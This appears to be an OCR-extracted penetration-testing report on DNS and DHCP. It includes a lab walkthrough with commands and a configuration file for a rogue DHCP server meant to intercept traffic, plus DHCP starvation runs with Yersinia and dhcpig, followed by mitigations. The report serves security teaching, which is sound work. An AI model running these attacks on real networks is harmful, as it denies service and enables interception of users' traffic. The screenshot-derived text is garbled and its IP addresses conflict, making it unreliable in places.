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1. INTRODUCTION

In today’s interconnected digital landscape, securing network infrastructure is paramount for
organizations. The Domain Name System (DNS) and Dynamic Host Configuration Protocol
(DHCP) are essential components that facilitate seamless communication within networks.
However, these services are often targeted by malicious actors due to inherent vulnerabilities.
This report explores the significance of penetration testing for DNS and DHCP, analyzes
common vulnerabilities, and outlines methodologies and tools for effective security
assessments.

2. UNDERSTANDING DNS AND DHCP
2.1. DNS (DOMAIN NAME SYSTEM)
2.1.1. FUNCTIONALITY AND ARCHITECTURE

DNS serves as the backbone of internet navigation, translating human-readable domain names
(e.g., www.example.com) into IP addresses (e.g., 192.0.2.1). Its architecture comprises several
critical components:

o DNS Resolvers: These are client-side components that query DNS servers for the
corresponding IP addresses of domain names. When a user enters a URL, the resolver
initiates the query process.

DNS Servers: These include:
e Authoritative DNS Servers: They hold DNS records for specific domains and
provide authorities response to queries.
e Caching DNS Servers: These servers temporarily store responses to queries to
speed up future requests and reduce load on authoritative servers.
Zone Files: These text files contain mappings of domain names to IP addresses and
define the structure of a domain's DNS hierarchy. Zone files include various record
types, such as A (address), AAAA (IPv6 address), MX (mail exchange), and CNAME
(canonical name) records.
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2.1.2. COMMON VULNERABILITIES
DNS is vulnerable to various attacks, including:

o DNS Spoofing: Attackers send falsified DNS responses to redirect users to malicious
sites. This can occur when attackers exploit vulnerabilities in the DNS protocol to
impersonate legitimate DNS servers.

Cache Poisoning: By inserting incorrect DNS records into the cache of a DNS resolver,
attackers can mislead users to harmful sites. This attack typically relies on sending
spoofed responses that appear legitimate.

Distributed Denial of Service (DDoS) Attacks: Attackers can overwhelm DNS servers
with a flood of traffic, rendering them unresponsive and causing denial of service for
legitimate users.

2.2. DHCP (DYNAMIC HOST CONFIGURATION PROTOCOL)
2.2.1. FUNCTIONALITY AND ARCHITECTURE

DHCP automates the assignment of IP addresses and other network configurations to devices,
ensuring efficient network management. Its architecture consists of:

o DHCP Servers: These servers allocate IP addresses and provide configuration
parameters (such as subnet mask, default gateway, and DNS servers) to DHCP clients.
DHCP Clients: Devices (e.g., computers, smartphones, printers) that request IP
addresses from the DHCP server.




o DHCP Leases: IP addresses are assigned to clients for a specific period. When a lease
expires, the IP address is returned to the pool for reallocation.
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2.2.2. COMMON VULNERABILITIES
Common vulnerabilities in DHCP include:

o Rogue DHCP Servers: Unauthorized DHCP servers can be deployed on the network,
providing incorrect IP configurations to clients. This can lead to man-in-the-middle
(MitM) attacks, where attackers intercept traffic.

DHCP Starvation Attacks: Attackers can exhaust the pool of available IP addresses by
sending numerous DHCP requests with spoofed MAC addresses. This prevents
legitimate clients from obtaining IP addresses.




3. PENETRATION TESTING METHODOLOGIES
3.1. PRE-EENGAGEMENT ACTIVITIES

Before conducting penetration testing, it is essential to define the scope, objectives, and rules
of engagement. Key activities include:

o Setting Boundaries: Clearly define which systems, networks, and services will be tested
to avoid unintended disruptions.
Identifying Sensitive Data: Understand the critical assets and data that require
protection to focus testing efforts effectively.
Obtaining Permission: Ensure all stakeholders are informed and have provided consent
for the testing activities, complying with legal and regulatory requirements.

3.2. INFORMATION GATHERING

Information gathering is a crucial phase in penetration testing, allowing testers to collect data
about the target environment.

3.2.1. DNS RECONNAISSANCE

This phase involves gathering information about the target’s DNS setup:
3.2.1.1. DNS Enumeration

Techniques for DNS Enumeration:

o Zone Transfer (AXFR): Attempting to retrieve the entire DNS zone file from an
authoritative DNS server using dig AXFR <domain>. Successful zone transfers reveal
all DNS records, including subdomains and IP addresses.

DNS Brute Forcing: Using a wordlist to guess subdomains and identify valid DNS records.
Tools like dnsenum and fierce automate this process, improving efficiency.
Reverse DNS Lookup: Finding domain names associated with specific IP addresses using

dig -x <ip address>. This can help identify additional services or systems related
to the target.

Service Discovery via SRV Records: Using SRV records to discover services running on
specific ports. This can help identify services that may be vulnerable to exploitation.
WHOIS Lookup: Gathering registration information about a domain, including name
servers and administrative contacts. This can provide insight into the domain’s
ownership and management.




3.2.2. DHCP DISCOVERY
This phase involves identifying active DHCP servers on the network:

o DHCPDISCOVER: Sending broadcast DHCPDISCOVER messages to discover available
DHCP servers. Tools like dhcpcd can be used to facilitate this process.

3.3. VULNERABILITY ASSESSMENT

During the vulnerability assessment, testers identify weaknesses within the DNS and DHCP
configurations:

o DNS Vulnerabilities: Review DNS settings for misconfigurations, such as open resolvers
that can be exploited for amplification attacks.
DHCP Vulnerabilities: Analyze DHCP settings to identify potential exploits, such as the
absence of DHCP snooping or authentication mechanisms.

3.4. EXPLOITATION TECHNIQUES
In this phase, testers attempt to exploit identified vulnerabilities.

3.4.1. DNS ATTACKS

o DNS Spoofing: By sending forged DNS responses, attackers can redirect users to

malicious sites. This can be tested using tools like dnsspoof.
Cache Poisoning: Attackers inject false records into DNS caches. Testing this
vulnerability involves sending spoofed responses to a DNS resolver.

3.4.2. DHCP ATTACKS
3.4.2.1. Rogue DHCP Server Attacks

o Methods for Rogue DHCP Server Attack: Deploying an unauthorized DHCP server on the
network allows attackers to provide malicious IP configurations. This can redirect traffic
and facilitate data interception.

3.4.2.2. DHCP Starvation Attacks

o Methods for DHCP Starvation Attack: Attackers flood the DHCP server with requests
using spoofed MAC addresses to exhaust the pool of available IP addresses. Tools like
DHCPig can automate this process.




4. TooLs FOR DNS AND DHCP PENETRATION TESTING
4.1. DNS TooLs

o nslookup: A command-line tool for querying DNS records, allowing testers to obtain
specific information about domain names.

dig: A more powerful command-line tool for detailed DNS queries. It provides greater
control over DNS lookups and is essential for testing.

dnscat: A tool for tunneling data through DNS queries, useful for exfiltrating data in
scenarios where other channels are restricted.

4.2. DHCP TooLs

o DHCPig: A tool designed specifically for conducting DHCP starvation attacks by sending
numerous DHCP requests to a server.

Yersinia: A framework for testing and exploiting various network protocols, including
DHCP. It provides a user-friendly interface for conducting sophisticated attacks.

5. PRACTICAL EXERCISES
5.1. SETTING UP A TEST ENVIRONMENT

Creating a controlled test environment is crucial for safe penetration testing. Steps include:

Virtual Machines: Use virtualization software (e.g., VirtualBox, VMware) to set up
isolated instances of DNS and DHCP servers.
Network Configuration: Create a network topology that mimics a real-world scenario,
including clients and servers with varying configurations.

o Here my target machine is Metasploitable 2 whose IP address is 192.168.1.35

5.2. CONDUCTING DNS PENETRATION TESTING

5.2.1. DNS ENUMERATION

Utilize the techniques discussed earlier to perform DNS enumeration. Document the findings,
noting any misconfigurations or vulnerabilities identified.

DNS enumeration can be performed using various tools. We will use here Nmap scripts and
Metasploit.




DNS ENUMERATION USING NMAP

We’'ll use following nmap script here,

dns-brute

Jusr/share/nmap/scripts
dns
broadcast- —aﬂrvi{e—diaiov f.nse
-blacklist.nse
-brute.nse
-cache-snoop.nse
-check-zone.nse
-client-subnet-s
-fuzz.nse
-ip6-arpa-scan.nse
-Nsec-enum.nse
-nseci-enum.nse
sid.nse
—14nd0m—;x:p0 FIE
-random- d.nse
-recursion.nse
-service-discove
-STV-enum.nse
-update.
-Zeustr:
-Zone-t

fusr/share/nmap/scripts

fusrfsharefnmapfscrlpts
192.168.1.
rting Nmap 7.9 !
can report for 192.1¢
up (@.8@66s late

PORT STATE
tcp open

MAC Address: @8:( 1:59 (Oracle VirtualBox

Host script
_dns-brute:

Nmap done: 1 IP addre (1 host up)

fusr/share/nmap/scripts

virtual NIC)

use dns-brute.domain script

seconds

argument.




Now we’ll try

broadcast-dns-service-discovery

Jusr/share/nmap/scripts
broadcast-dns

-service-discovery.nse

Jusr/share/nmap/scripts

fusr/share/nmap/scripts
192.168.1.35 -p53 cri broadcast-dns-service-discovery
Starting Nmap 7.945VN ( https: p.org ) at 2024-09-22 2@:4
Nmap scan report for 192.168.1.
Host is up (@.0040s Llatency).

PORT STATE SERVICE

53/tcp open domain

MAC Address: @8:@@:27:52:1D:59 (Oracle VirtwalBox wirtual NIC)
Mmap done: 1 IP address (1 host up) scanned in 18.92 seconds

fusr/share/nmap/scripts

5.3. CONDUCTING DHCP PENETRATION TESTING

Setting up a rogue DHCP server is a powerful way to demonstrate the impact of malicious
network behavior. A rogue DHCP server is an unauthorized DHCP server on a network, which
can be used by attackers to distribute incorrect IP addresses, default gateways, or DNS
information. This allows for attacks such as Man-in-the-Middle (MitM), DNS spoofing, and
traffic redirection.

5.3.1. SET UP A ROGUE DHCP SERVER
To simulate a rogue DHCP attack, I’'m using the following steps.
Environment Setup

o Ensure environment should be controlled. Deploying rogue DHCP in a production
environment could cause real damage.
o Here I've used Kali Linux machine with root privileges.

STPE 1 : Install ISC DHCP Server

The first step is to install the isc-dhcp-server package on Kali Linux Machine
(192.168.1.160)




sudo apt-get update
sudo apt-get install isc-dhcp-server

STEP 2: Configure DHCP Server

Next, configure the DHCP server to assign IP addresses to devices on the network. I'll modify
the /etc/dhcp/dhcpd.conf file.

Open the configuration file for editing:

sudo nano /etc/dhcp/dhcpd.conf

Add/replace its contents with the following configuration:

default-lease-time 600;

max-lease-time 7200;

subnet 192.168.1.0 netmask 255.255.255.0 {
range 192.168.1.50 192.168.1.100;

option router 192.168.1.60

option domain-name-servers 192.168.1.60
option domain-name “rogue.local”;

}

GNU nano &.@
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.@
range 192.168.1.50
option routers 192.168.1.60;
option domain-name-servers 192.168.1.60;
option domain-name "rogue.local”;

range 192.168.1.50 192.168.1.100 : This defines the pool of IP addresses the rogue
DHCP server will assign to clients.

option routers 192.168.1.60: This assigns your Kali machine (192.168.1.36) as the
default gateway.

option domain-name-servers 192.168.1.60: This sets your kali Machine as the DNS
server, enabling you to intercept and manipulate DNStraffic.




STEP 3: Configure the Network Interface

Specify which network interface the DHCP server should listen on. If you are using ethO, specify
itinthe /etc/default/isc-dhcp-server file:

sudo nano /etc/default/isc-dhcp-server

Set the following line:

INTERFACEv4=“eth0”

INTERFACESv4=
INTERFACESvE="

Replace ethO with the correct interface name if you are using a different one.
STEP 4: Start the DHCP Server

Start the DHCP server service:

sudo systemctl start isc-dhcp-server

Check the status to ensure it’s running:

sudo systemctl status isc-dhcp-server

/home/leo2599

start isc-dhcp-server

Loa
Act

- LSB: DHCP server ...

/home/le02599

If everything is configured correctly, the server should be active and waiting for clients to
request IP addresses.




STEP 5: Monitor DHCP Requests

You can monitor DHCP leases and see which devices are getting IP addresses from your rogue
DHCP server by viewing the system logs:

sudo journalctl -u isc-dhcp-server

Look for DHCP DISCOVER and DHCP OFFER messages to see how clients are interacting with
your rogue DHCP server.

80 via eth@: unknown lease 192.168.1.23.

1) wvia eth@

EE i i il

IMPACT DEMONSTRATION: NETWORK TRAFFIC HUACKING

Now the rogue DHCP server is up and running, you can demonstrate its impact by intercepting
traffic from client who are assigned IP addresses by the rogue server.

5.3.3 CONDUCTING DHCP STARVATION ATTACKS

A DHCP starvation attack aims to exhaust the available IP addresses pool of a DHCP server,
preventing legitimate users from obtaining IP addresses. This attack involves sending a large
number of DHCP requests with spoofed MAC addresses to consume all the available leases.

Here is the step by step guide.

Tools: Yersinia and dhcpig

Kali Linux comes with multiple tools to perform DHCP starvation attacks. We’ll use Yersinia and
dhcpig for this task.




USING YERSINIA
Yersinia is a network attack tool that supports various attacks, including DHCP starvation.

STEP 1: Install Yersinia

Yersinia is pre-installed with Kali. If not it can be done by following command.

sudo apt-get install yersinia
STEP 2: Run Yersinia

Run Yersinia in GUI mode:

sudo yersinia -G

STEP 3: Select the Network Interface:

fle  Machine View Input Devices Help
SmPkoOE-| 2
] Yersinia 0.8.2

File Protocols Actions Options Help

% % O = .

Launchattack Editinterfaces Loaddefault Listattacks Clear stats Capture Edit mode Exit

CDP DHCP 802.1G DTP HSRP ISL MPLS STP VTP Yersinialog

802.1a
802.1X

Cisco Discovery Protocol

Source MAC 06:45:8B:6B:41:56 Destination MAC 01:00:8C:CC:CC:CC

Version 01 TTL B4 Checksum eeea

In the Yersinia menu, press i to select your network interface.




STEP 4: Start the DHCP Starvation Attack

|
File Protocols Actions Options Help
% o B/
ck Editinterfaces Load default Listatt: S Capture Edit mode
CDP DHCP 8C 802.1X HSRP ISL MPLS STP VTP inia log
Choose protocol attack

802.1X DTP HSRP \ STP VTP

DoS

Dynamic Host Configuration Pr

02:48:33:6f

Source MAC F6:E3:F7
Destination MAC FR:FRFF:  Source MAC

sip 0.0.0.0 SP 9.0.0.0
DIP 255.255.

SPort 68
DPort 57 c  9.0.0.0 0.0.0.9 0.0.0.9 Gl 0.0.0.9

Cancel 0K

Op 01 Htype 01 HLEN 06 Hops e Xid 64309869 Secs 0ees Flags 8000

%
Launchattack Editint Load default List attack: s ure Edit mode

CDP DI DTP HSRP ISL MPLS STP VTP

Dynamic Host Configuration Protocol
Source MAC 02:48:33:66:02 Destination M FF:FF:FF:FF:FF:FF Extra

Source MAC F6:E3:F7
Destination MAC FF.FF:FF:
siP 0.0.0.0 sip 0.0.0.0 DIP SPort 68 DPort 67
DIP 255.255.
SPort 8

DPort a 0.0.0.9 Yi 0.0.0.0 0.0.0.0 Gl 0.0.0.0

Op a1 Htype a1 HLEN 06 Hops 0e Xid 643C9869 0800 Flags 8000

STEP 5: Monitor the Impact:
STEP 6: Stop the Attack
USING dhcip SERVER

Another simple tool is dhcpig, which automates the DHCP starvation attack with minimal
configuration.

STEP 1: Install dhcpig:
You can use following command for installation.

sudo apt install dhcpig




dhcpig
99:
Done

r required:

.11-minimal samba-ad-provision samba-dsdb-modules s: vfs-modules
Use ' t autoremo
The following NEW p:

d.
L be used.

ain amdé6s4 dhcpig l 1.6-1 [17.1 kB]

installed.

STEP 2: Launch dhcpig:

sudo dhcpig -I ethO

[INFO]
[DB
[DBG ]
[ e
[DBG ]
—=1
[DBG ]
[—]
[DBG ] .168.1.49 from 192.
[—1] i er
[DBG ] t .168.1.50 from 19
—=1 g
[ 1 ing v 9] " response
[DBG ] _Reque ] 8 2.168.1.1
L'srael 0.0.0.0 TP:
[—1] :
[—]
[DBG ]
[—]
[DBG ]
[—=1
[DBG ]
[—1
[DBG ]
[ 7]
[ el
[DBG ] ARP_Request 192.16 192.1
[e1]
—=1 :
[«—1] 0.0.0.0 IP:
[—] :
[«—1] 0.0.0.0 IP:
[—1]
[e—] _Of 0.0.0.0 IP:




¢ on dhcp packet count 1

waiting for DHCP pool exhaustion ..

¢ on dhcp packet count 2

¢ on dhcp packet count 3

waiting for DHCP pool exhaustion ..

count 4
CP pool exhaustion ..

STEP 3: Monitor the Attack

The tool will continuously send spoofed DHCP DISCOVER requests, flooding the server and
depleting its IP address pool. You can monitor the attack impact on real time using:

sudo journalctl -u isc-dhcp-server —-f
STEP 4: Stop the Attack

When you ready to stop the attack, simply press Ctrl + C in the terminal running dhcpig.

6. MITIGATION STRATEGIES
6.1. SECURING DNS

To protect against DNS attacks, organizations should implement several strategies:

DNSSEC (Domain Name System Security Extensions): This protocol adds a layer of security to
DNS by allowing clients to verify the authenticity and integrity of DNS responses. By digitally
signing DNS records, DNSSEC helps prevent cache poisoning and spoofing attacks.

Regular Audits and Updates: Regularly review and update DNS configurations and software to
patch vulnerabilities. Keeping DNS software up-to-date minimizes the risk of exploitation.

Implementing Rate Limiting: Limiting the number of requests from a single IP address can help
mitigate DDoS attacks. Rate limiting helps ensure that no single source can overwhelm the DNS
server.




Restricting Zone Transfers: Limit AXFR requests to authorized IP addresses only to prevent
unauthorized access to zone files.

6.2. SECURING DHCP
Mitigation strategies for securing DHCP include:

DHCP Snooping: This feature, available on many network switches, allows only trusted DHCP
servers to respond to clients. By defining trusted ports, organizations can prevent rogue DHCP
servers from distributing malicious configurations.

Static IP Address Assignment: For critical devices (e.g., servers, printers), consider using static
IP addresses instead of DHCP. This reduces the attack surface by eliminating reliance on
dynamic IP assignment.

IP Address Management (IPAM): Regularly monitor DHCP leases and configurations to detect
unusual patterns or unauthorized changes. IPAM solutions can help manage and track IP
address allocations effectively.

Network Segmentation: Isolate DHCP servers from user segments to limit exposure to potential
attacks. This reduces the likelihood of unauthorized access to DHCP services.

7. CASE STUDIES
7Z.1. REAL-WORLD DNS ATTACK

In 2016, a massive DDoS attack on Dyn, a major DNS provider, disrupted services for several
high-profile websites, including Twitter and Netflix. The attack leveraged loT devices
compromised by the Mirai botnet to generate unprecedented traffic. This incident highlighted
the importance of robust DNS infrastructure and the need for enhanced security measures.

7.2. DHCP SPOOFING INCIDENT

In a reported case, an organization experienced a DHCP spoofing attack where an attacker
deployed a rogue DHCP server, leading to traffic interception. The attacker gained access to
sensitive data, underscoring the importance of implementing DHCP snooping and monitoring
DHCP traffic to prevent unauthorized configurations.

8. CONCLUSION

DNS and DHCP are critical components of network functionality but present significant security
risks if inadequately protected. Regular penetration testing helps identify and address
vulnerabilities, enhancing the overall security posture of organizations. By adopting robust
security measures and maintaining vigilance, organizations can effectively protect their
networks from potential threats.
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